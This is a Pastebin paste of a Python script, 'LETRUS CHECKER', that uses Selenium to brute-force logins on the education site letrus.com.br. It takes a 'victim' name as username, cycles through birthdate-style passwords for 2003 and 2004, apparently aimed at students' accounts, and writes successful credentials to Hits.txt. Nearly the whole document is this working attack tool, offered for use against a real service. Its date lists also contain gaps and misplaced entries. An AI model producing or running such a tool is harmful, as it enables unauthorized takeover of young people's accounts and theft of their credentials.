Guest User

Untitled

a guest
Feb 16th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.75 KB | None | 0 0
  1. LETRUS CHECKER
  2.  
  3. .Brute force para contas letrus (letrus.com.br)
  4. .Anos disponiveis: 2003/2004
  5.  
  6.  
  7. Source Code:
  8.  
  9. #Imports Principais
  10. from selenium import webdriver
  11. from selenium.webdriver.common.keys import Keys
  12. from bs4 import BeautifulSoup
  13. import sys, os, time, requests
  14.  
  15. #Criando a funcao "printTitle"
  16. def printTitle():
  17. print("""
  18. ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓ ▓▓▓▓
  19. ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓
  20. ▓ ▓▓▓ ▓ ▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓ ▓▓ ▓▓▓ ▓▓▓
  21. ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓
  22. ▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓ ▓ ▓
  23. B R U T E F O R C E A T T A C K
  24. """)
  25.  
  26. #Trocando a cor do console
  27. os.system("color b")
  28.  
  29. #Chamando a funcao "printTitle"
  30. printTitle()
  31.  
  32. #Variaveis globais
  33. global nomeVitima
  34. global senhaEscolhida
  35. global numeroTentativas
  36. numeroTentativas = 0
  37. global y
  38. y = 0
  39.  
  40. #Aguardando 3 segundos para continuar
  41. time.sleep(3)
  42.  
  43. #Trocando a cor do console
  44. os.system("color f")
  45.  
  46. #Solicitando credenciais necessarias
  47. nomeVitima = input("[*] Nome da vitima (primeiro e ultimo): ")
  48. dataListEscolhida = input("[*] Digite o ano da DataList desejada: ")
  49. if not nomeVitima:
  50. #Limpando o console
  51. os.system("cls")
  52. #Trocando a cor do console
  53. os.system("color c")
  54. print("ERROR! Especifique o email da vitima!")
  55. #Aguardando 3 segundos
  56. time.sleep(3)
  57. #Fechando o programa
  58. sys.exit()
  59.  
  60. #Definindo a variavel "url"
  61. url = 'https://www.letrus.com.br/login'
  62.  
  63. #Definindo a variavel "driver"
  64. driver = webdriver.Chrome("chromedriver.exe")
  65. #Entrando no site
  66. driver.get(url)
  67.  
  68. #Limpando o console e chamando a funcao "printTitle"
  69. os.system("cls")
  70. printTitle()
  71.  
  72. #Definindo elementos da pagina
  73. caixaUser = driver.find_element_by_name('username')
  74. caixaPassword = driver.find_element_by_id("password")
  75. botaoLogar = driver.find_element_by_tag_name("button")
  76.  
  77. #Definindo a dataList 2003
  78. datasList2003 = [
  79. "010103",
  80. "020103",
  81. "030103",
  82. "040103",
  83. "050103",
  84. "060103",
  85. "070103",
  86. "080103",
  87. "090103",
  88. "100103",
  89. "110103",
  90. "120103",
  91. "130103",
  92. "140103",
  93. "150103",
  94. "160103",
  95. "170103",
  96. "180103",
  97. "190103",
  98. "200103",
  99. "210103",
  100. "220103",
  101. "230103",
  102. "240103",
  103. "250103",
  104. "260103",
  105. "270103",
  106. "280103",
  107. "290103",
  108. "300103",
  109. "310103",
  110. "010203",
  111. "020203",
  112. "030203",
  113. "040203",
  114. "050203",
  115. "060203",
  116. "070203",
  117. "080203",
  118. "090203",
  119. "100203",
  120. "110203",
  121. "120203",
  122. "130203",
  123. "140203",
  124. "150203",
  125. "160203",
  126. "170203",
  127. "180203",
  128. "190203",
  129. "200203",
  130. "210203",
  131. "220203",
  132. "230203",
  133. "240203",
  134. "250203",
  135. "260203",
  136. "270203",
  137. "280203",
  138. "290203",
  139. "300203",
  140. "310203",
  141. "010303",
  142. "020303",
  143. "030303",
  144. "040303",
  145. "050303",
  146. "060303",
  147. "070303",
  148. "080303",
  149. "090303",
  150. "100303",
  151. "110303",
  152. "120303",
  153. "130303",
  154. "140303",
  155. "150303",
  156. "160303",
  157. "170303",
  158. "180303",
  159. "190303",
  160. "200303",
  161. "210303",
  162. "220303",
  163. "230303",
  164. "240303",
  165. "250303",
  166. "260303",
  167. "270303",
  168. "280303",
  169. "290303",
  170. "300303",
  171. "310303",
  172. "010403",
  173. "020403",
  174. "030403",
  175. "040403",
  176. "050403",
  177. "060403",
  178. "070403",
  179. "080403",
  180. "090403",
  181. "100403",
  182. "110403",
  183. "120403",
  184. "130403",
  185. "140403",
  186. "150403",
  187. "160403",
  188. "170403",
  189. "180403",
  190. "190403",
  191. "200403",
  192. "210403",
  193. "220403",
  194. "230403",
  195. "240403",
  196. "250403",
  197. "260403",
  198. "270403",
  199. "280403",
  200. "290403",
  201. "300403",
  202. "310403",
  203. "010503",
  204. "020503",
  205. "030503",
  206. "040503",
  207. "050503",
  208. "060503",
  209. "070503",
  210. "080503",
  211. "090503",
  212. "100503",
  213. "110503",
  214. "120503",
  215. "130503",
  216. "140503",
  217. "150503",
  218. "160503",
  219. "170503",
  220. "180503",
  221. "190503",
  222. "200503",
  223. "210503",
  224. "220503",
  225. "230503",
  226. "240503",
  227. "250503",
  228. "260503",
  229. "270503",
  230. "280503",
  231. "290503",
  232. "300503",
  233. "310503",
  234. "010603",
  235. "020603",
  236. "030603",
  237. "040603",
  238. "050603",
  239. "060603",
  240. "070603",
  241. "080603",
  242. "090603",
  243. "100603",
  244. "110603",
  245. "120603",
  246. "130603",
  247. "140603",
  248. "150603",
  249. "160603",
  250. "170603",
  251. "180603",
  252. "190603",
  253. "200603",
  254. "210603",
  255. "220603",
  256. "230603",
  257. "240603",
  258. "250603",
  259. "260603",
  260. "270603",
  261. "280603",
  262. "290603",
  263. "300603",
  264. "310603",
  265. "010703",
  266. "020703",
  267. "030703",
  268. "040703",
  269. "050703",
  270. "060703",
  271. "070703",
  272. "080703",
  273. "090703",
  274. "100703",
  275. "110703",
  276. "120703",
  277. "130703",
  278. "140703",
  279. "150703",
  280. "160703",
  281. "170703",
  282. "180703",
  283. "190703",
  284. "200703",
  285. "210703",
  286. "220703",
  287. "230703",
  288. "240703",
  289. "250703",
  290. "260703",
  291. "270703",
  292. "280703",
  293. "290703",
  294. "300703",
  295. "310703",
  296. "010803",
  297. "020803",
  298. "030803",
  299. "040803",
  300. "050803",
  301. "060803",
  302. "070803",
  303. "080803",
  304. "090803",
  305. "100803",
  306. "110803",
  307. "120803",
  308. "130803",
  309. "140803",
  310. "150803",
  311. "160803",
  312. "170803",
  313. "180803",
  314. "190803",
  315. "200803",
  316. "210803",
  317. "220803",
  318. "230803",
  319. "240803",
  320. "250803",
  321. "260803",
  322. "270803",
  323. "280803",
  324. "290803",
  325. "300803",
  326. "310803",
  327. "010903",
  328. "020903",
  329. "030903",
  330. "040903",
  331. "050903",
  332. "060903",
  333. "070903",
  334. "080903",
  335. "090903",
  336. "100903",
  337. "110903",
  338. "120903",
  339. "130903",
  340. "140903",
  341. "150903",
  342. "160903",
  343. "170903",
  344. "180903",
  345. "190903",
  346. "200903",
  347. "210903",
  348. "220903",
  349. "230903",
  350. "240903",
  351. "250903",
  352. "260903",
  353. "270903",
  354. "280903",
  355. "290903",
  356. "300903",
  357. "310903",
  358. "011003",
  359. "021003",
  360. "031003",
  361. "041003",
  362. "051003",
  363. "061003",
  364. "071003",
  365. "081003",
  366. "091003",
  367. "101003",
  368. "111003",
  369. "121003",
  370. "131003",
  371. "141003",
  372. "151003",
  373. "161003",
  374. "171003",
  375. "181003",
  376. "191003",
  377. "201003",
  378. "211003",
  379. "221003",
  380. "231003",
  381. "241003",
  382. "291003",
  383. "301003",
  384. "311003",
  385. "011103",
  386. "021103",
  387. "031103",
  388. "041103",
  389. "051103",
  390. "061103",
  391. "071103",
  392. "081103",
  393. "091103",
  394. "101103",
  395. "111103",
  396. "121103",
  397. "131103",
  398. "141103",
  399. "151103",
  400. "161103",
  401. "171103",
  402. "181103",
  403. "191103",
  404. "201103",
  405. "211103",
  406. "221103",
  407. "231103",
  408. "241103",
  409. "251103",
  410. "261103",
  411. "271103",
  412. "281103",
  413. "291103",
  414. "301103",
  415. "311103",
  416. "011203",
  417. "021203",
  418. "031203",
  419. "041203",
  420. "051203",
  421. "061203",
  422. "071203",
  423. "081203",
  424. "091203",
  425. "101203",
  426. "111203",
  427. "121203",
  428. "131203",
  429. "141203",
  430. "151203",
  431. "161203",
  432. "171203",
  433. "181203",
  434. "191203",
  435. "201203",
  436. "211203",
  437. "221203",
  438. "231203",
  439. "241203",
  440. "251203",
  441. "261203",
  442. "271203",
  443. "281203",
  444. "291203",
  445. "301203",
  446. "311203"
  447. ]
  448.  
  449. #Definindo a dataList 2004
  450. datasList2004 = [
  451. "010104",
  452. "020104",
  453. "030104",
  454. "040104",
  455. "050104",
  456. "060104",
  457. "070104",
  458. "080104",
  459. "090104",
  460. "100104",
  461. "110104",
  462. "120104",
  463. "130104",
  464. "140104",
  465. "150104",
  466. "160104",
  467. "170104",
  468. "180104",
  469. "190104",
  470. "200104",
  471. "210104",
  472. "220104",
  473. "230104",
  474. "240104",
  475. "250104",
  476. "260104",
  477. "270104",
  478. "280104",
  479. "290104",
  480. "300104",
  481. "310104",
  482. "010204",
  483. "020204",
  484. "030204",
  485. "040204",
  486. "050204",
  487. "060204",
  488. "070204",
  489. "080204",
  490. "090204",
  491. "100204",
  492. "110204",
  493. "120204",
  494. "130204",
  495. "140204",
  496. "150204",
  497. "160204",
  498. "170204",
  499. "180204",
  500. "190204",
  501. "200204",
  502. "210204",
  503. "220204",
  504. "230204",
  505. "240204",
  506. "250204",
  507. "260204",
  508. "270204",
  509. "280204",
  510. "290204",
  511. "300204",
  512. "310204",
  513. "010304",
  514. "020304",
  515. "030304",
  516. "040304",
  517. "050304",
  518. "060304",
  519. "070304",
  520. "080304",
  521. "090304",
  522. "100304",
  523. "110304",
  524. "120304",
  525. "130304",
  526. "140304",
  527. "150304",
  528. "160304",
  529. "170304",
  530. "180304",
  531. "190304",
  532. "200304",
  533. "210304",
  534. "220304",
  535. "230304",
  536. "240304",
  537. "250304",
  538. "260304",
  539. "270304",
  540. "280304",
  541. "290304",
  542. "300304",
  543. "310304",
  544. "010404",
  545. "020404",
  546. "030404",
  547. "040404",
  548. "050404",
  549. "060404",
  550. "070404",
  551. "080404",
  552. "090404",
  553. "100404",
  554. "110404",
  555. "120404",
  556. "130404",
  557. "140404",
  558. "150404",
  559. "160404",
  560. "170404",
  561. "180404",
  562. "190404",
  563. "200404",
  564. "210404",
  565. "220404",
  566. "230404",
  567. "240404",
  568. "250404",
  569. "260404",
  570. "270404",
  571. "280404",
  572. "290404",
  573. "300404",
  574. "310404",
  575. "010504",
  576. "020504",
  577. "030504",
  578. "040504",
  579. "050504",
  580. "060504",
  581. "070504",
  582. "080504",
  583. "090504",
  584. "100504",
  585. "110504",
  586. "120504",
  587. "130504",
  588. "140504",
  589. "150504",
  590. "160504",
  591. "170504",
  592. "180504",
  593. "190504",
  594. "200504",
  595. "210504",
  596. "220504",
  597. "230504",
  598. "240504",
  599. "250504",
  600. "260504",
  601. "270504",
  602. "280504",
  603. "290504",
  604. "300504",
  605. "310504",
  606. "010604",
  607. "020604",
  608. "030604",
  609. "040603",
  610. "050604",
  611. "060604",
  612. "070604",
  613. "080604",
  614. "090604",
  615. "100604",
  616. "110604",
  617. "120604",
  618. "130604",
  619. "140604",
  620. "150604",
  621. "160604",
  622. "170604",
  623. "180604",
  624. "190604",
  625. "200604",
  626. "210604",
  627. "220604",
  628. "230604",
  629. "240604",
  630. "250604",
  631. "260604",
  632. "270604",
  633. "280604",
  634. "290604",
  635. "300604",
  636. "310604",
  637. "010704",
  638. "020704",
  639. "030704",
  640. "040704",
  641. "050704",
  642. "060704",
  643. "070704",
  644. "080704",
  645. "090704",
  646. "100704",
  647. "110704",
  648. "120704",
  649. "130704",
  650. "140704",
  651. "150704",
  652. "160704",
  653. "170704",
  654. "180704",
  655. "190704",
  656. "200704",
  657. "210704",
  658. "220704",
  659. "230704",
  660. "240704",
  661. "250704",
  662. "260704",
  663. "270704",
  664. "280703",
  665. "290703",
  666. "300704",
  667. "310704",
  668. "010804",
  669. "020804",
  670. "030804",
  671. "040804",
  672. "050804",
  673. "060804",
  674. "070804",
  675. "080804",
  676. "090804",
  677. "100804",
  678. "110804",
  679. "120804",
  680. "130804",
  681. "140804",
  682. "150804",
  683. "160804",
  684. "170804",
  685. "180804",
  686. "190804",
  687. "200804",
  688. "210804",
  689. "220804",
  690. "230804",
  691. "240804",
  692. "250804",
  693. "260804",
  694. "270804",
  695. "280804",
  696. "290804",
  697. "300804",
  698. "310804",
  699. "010904",
  700. "020904",
  701. "030903",
  702. "040904",
  703. "050904",
  704. "060904",
  705. "070904",
  706. "080904",
  707. "090904",
  708. "100904",
  709. "110904",
  710. "120904",
  711. "130904",
  712. "140904",
  713. "150904",
  714. "160904",
  715. "170904",
  716. "180904",
  717. "190904",
  718. "200904",
  719. "210904",
  720. "220904",
  721. "230904",
  722. "240904",
  723. "250904",
  724. "260904",
  725. "270904",
  726. "280904",
  727. "290904",
  728. "300904",
  729. "310904",
  730. "011004",
  731. "021004",
  732. "031004",
  733. "041004",
  734. "051004",
  735. "061004",
  736. "071004",
  737. "081004",
  738. "091004",
  739. "101004",
  740. "111004",
  741. "121004",
  742. "131004",
  743. "141004",
  744. "151004",
  745. "161004",
  746. "171004",
  747. "181004",
  748. "191004",
  749. "201004",
  750. "211004",
  751. "221004",
  752. "231004",
  753. "241004",
  754. "291004",
  755. "301004",
  756. "311004",
  757. "011104",
  758. "021104",
  759. "031104",
  760. "041104",
  761. "051104",
  762. "061104",
  763. "071104",
  764. "081104",
  765. "091104",
  766. "101104",
  767. "111104",
  768. "121104",
  769. "131104",
  770. "141104",
  771. "151104",
  772. "161104",
  773. "171104",
  774. "181104",
  775. "191104",
  776. "201104",
  777. "211104",
  778. "221104",
  779. "231104",
  780. "241104",
  781. "251104",
  782. "261104",
  783. "271104",
  784. "281104",
  785. "291104",
  786. "301104",
  787. "311104",
  788. "011204",
  789. "021204",
  790. "031204",
  791. "041204",
  792. "051204",
  793. "061204",
  794. "071204",
  795. "081204",
  796. "091204",
  797. "101204",
  798. "111204",
  799. "121204",
  800. "131204",
  801. "141204",
  802. "151204",
  803. "161204",
  804. "171204",
  805. "181204",
  806. "191204",
  807. "201204",
  808. "211204",
  809. "221204",
  810. "231204",
  811. "241204",
  812. "251204",
  813. "261204",
  814. "271204",
  815. "281204",
  816. "291204",
  817. "301204",
  818. "311204"
  819. ]
  820.  
  821. #Criando a funcao responsavel por pegar senha por senha da lista "datasList"
  822. def catchPassword():
  823. #Chamando a variavel "y"
  824. global y
  825. #Chamando a variavel "senhaEscolida"
  826. global senhaEscolhida
  827.  
  828. #Caso a dataList escolhida for "2003"
  829. if dataListEscolhida == "2003":
  830. for x in range(len(datasList2003)):
  831. senhaEscolhida = datasList2003[y]
  832. y+=1
  833. break
  834. #Caso a dataList escolhida for "2004"
  835. elif dataListEscolhida == "2004":
  836. for x in range(len(datasList2004)):
  837. senhaEscolhida = datasList2004[y]
  838. y+=1
  839. break
  840. #Caso uma dataList invalida seja escolhida
  841. else:
  842. #Fechando o programa
  843. sys.exit()
  844.  
  845. #Inserindo o email da vitima
  846. caixaUser.send_keys(nomeVitima)
  847.  
  848. #Criando um loop While para realizar o brute force
  849. try:
  850. while True:
  851. #Dando 1 segundo de delay para a seguranca da execucao do sistema
  852. time.sleep(1)
  853.  
  854. #Limpando os campos de credenciais (campo da senha)
  855. caixaPassword.clear()
  856.  
  857. #Puxando a funcao "catchPassword"
  858. catchPassword()
  859.  
  860. #Inserindo uma possivel senha aleatoria
  861. time.sleep(0.5)
  862. caixaPassword.send_keys(senhaEscolhida)
  863. #Interagindo com o botao de login para tentar iniciar a sessao
  864. botaoLogar.click()
  865.  
  866. print(f"[*] Trying: {nomeVitima}:{senhaEscolhida}")
  867.  
  868. #Adicionando 1 no numero de tentativas
  869. numeroTentativas+=1
  870.  
  871. #Verificacao de elementos na page
  872. def verificarExistencia(elemento):
  873. #Definindo a variavel "soup"
  874. soup = BeautifulSoup(elemento, "lxml")
  875.  
  876. #Tentando localizar o elemento "password"
  877. try:
  878. tag = driver.find_element_by_name("password")
  879. #Caso consiga, retornar o valor True
  880. return True
  881. #Caso não localizar o elemento "password"
  882. except:
  883. #Caso não conseguir, retornar o valor False
  884. return False
  885.  
  886. #Dando um request no link
  887. page = requests.get("https://www.letrus.com.br/login")
  888.  
  889. #Criando a variavel "result" armazenando nela o resultado do check de existencia
  890. result = verificarExistencia(page.text)
  891.  
  892. #Avaliando resultado do check
  893. if result == False:
  894. #Criando a variavel "check"
  895. check = os.path.isfile("Hits.txt")
  896. #Caso o arquivo "Hits.txt" exista
  897. if check == True:
  898. #Subscrevendo no arquivo
  899. arquivo = open("Hits.txt", "a")
  900. #Escrevendo credenciais no arquivo
  901. arquivo.write(f"\n{nomeVitima}:{senhaEscolhida}")
  902. arquivo.close()
  903. #Caso o arquivo "Hits.txt" não exista
  904. elif check == False:
  905. #Criando o arquivo "Hits.txt"
  906. arquivo = open("Hits.txt", "w+")
  907. #Escrevendo credenciais no arquivo
  908. arquivo.write(f"{nomeVitima}:{senhaEscolhida}")
  909. arquivo.close()
  910. #Parando o loop
  911. break
  912.  
  913. print("\n[*] Credenciais corretas!")
  914.  
  915. #Caso o usuario de CTRL + C
  916. except KeyboardInterrupt:
  917. print(f"\n[*] Brute force interrompido | {numeroTentativas} Tentativas")
  918. #Pedindo permissao para finalizar o programa
  919. input("\n\nAperte ENTER para fechar o programa.")
  920. #Fechando o programa
  921. sys.exit()
Add Comment
Please, Sign In to add comment